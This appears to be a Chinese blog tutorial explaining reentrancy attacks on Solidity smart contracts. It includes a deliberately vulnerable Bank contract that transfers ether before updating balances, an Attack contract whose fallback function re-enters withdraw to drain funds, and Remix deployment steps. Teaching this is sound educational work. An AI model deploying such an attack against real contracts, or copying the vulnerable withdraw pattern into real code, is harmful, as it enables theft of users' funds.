BLOCKCHAIN_Reentrancy重入攻击

重入攻击

重入攻击与solidity语言本身的设计缺陷有关,同时也与合约的设计有关......

简单示例

可以先来看一个简单的重入攻击的合约

pragma solidity ^0.7.0;

contract Bank{
mapping (address => uint) private balances;
function withdraw(uint _amount) external payable{
require(balances[msg.sender] >= _amount, "balance is insufficient");
(bool sent,) = msg.sender.call{value:_amount}("");
require(sent, "transfer failed");
balances[msg.sender] -= _amount;
}

function deposit() external payable{
balances[msg.sender] += msg.value;
}

function getBalance() external view returns(uint){
return address(this).balance;
}

constructor() payable {}
}

contract Attack {
Bank public bank;

constructor(address payable _addr) payable {
bank = Bank(_addr);
}
function attack() external payable{
bank.deposit{value:1 ether}();
bank.withdraw(1 ether);

}

fallback() external payable{
if(address(bank).balance >= 1 ether){
bank.withdraw(1 ether);
}
}

}

Bank合约中:

mapping (address => uint) private balances;是创建一个由地址到整数的映射,相当于一个字典,记录账户的余额信息

withdraw()函数判断需要取出的数值是否小于等于账本中记录的数值,若是则取出

deposit()函数则为调用该函数的用户存入传入的数值

getBalance()返回整个账本的余额,方便查看余额

Attack合约中:

Bank public bank;接受合约地址,实例化一个Bank合约,以便调用Bank中函数

attack()执行攻击步骤

fallback()关键函数


放到remix上编译,然后部署

先部署银行合约,部署的时候带上一些以太币,这里放10个,标识银行里总共有10个以太

image-20230424003039911

点击getBalance查看以银行余额,10eth,部署成功

image-20230425004006285

接着再部署Attack合约,合约里面需要带上1个以太,因为attack()里面需要存入1个以太到银行,构造函数中需要一个待攻击合约的地址,带上上面部署的银行合约地址

image-20230425191548134

点击Attack,调用合约的Attack()进行攻击,再观察银行合约,余额已经为0

image-20230425194854415

重入攻击成功

具体解析

在解析之前需要了解以太坊虚拟机EVM中的代码调用关系 ,在一个合约中调用另一个合约的函数时,解释器会去加载另一个合约的代码,类似于将另一个合约的代码整合到自己的合约中,当成自己的函数调用.

合约转账过程中,会调用一个带有数额value的无名函数,在这个函数中有会调用fallback()函数 ,也就是转账过程分为两部分,转账函数(send()call()transfer())首确定收款合约的收款操作,然后再执行fallback()函数

在攻击合约中点击attack后,先调用bank.deposit{value:1 ether}();往银行中存入1个ether,接着调用bank.withdraw(1 ether);,从银行中取出1个ether.

在调用bank.withdraw()时,在银行合约中会有分为两个步骤,一个是收款,一个是调用fallback()函数,于是银行合约会在取款时调用攻击合约中的fallback()函数,继续withdraw()操作,由于上一层的withdraw()还没有完成,银行记录的账户余额并不会减少,还能符合下一层的withdraw(),于是就形成递归直到将银行中的钱全部取出.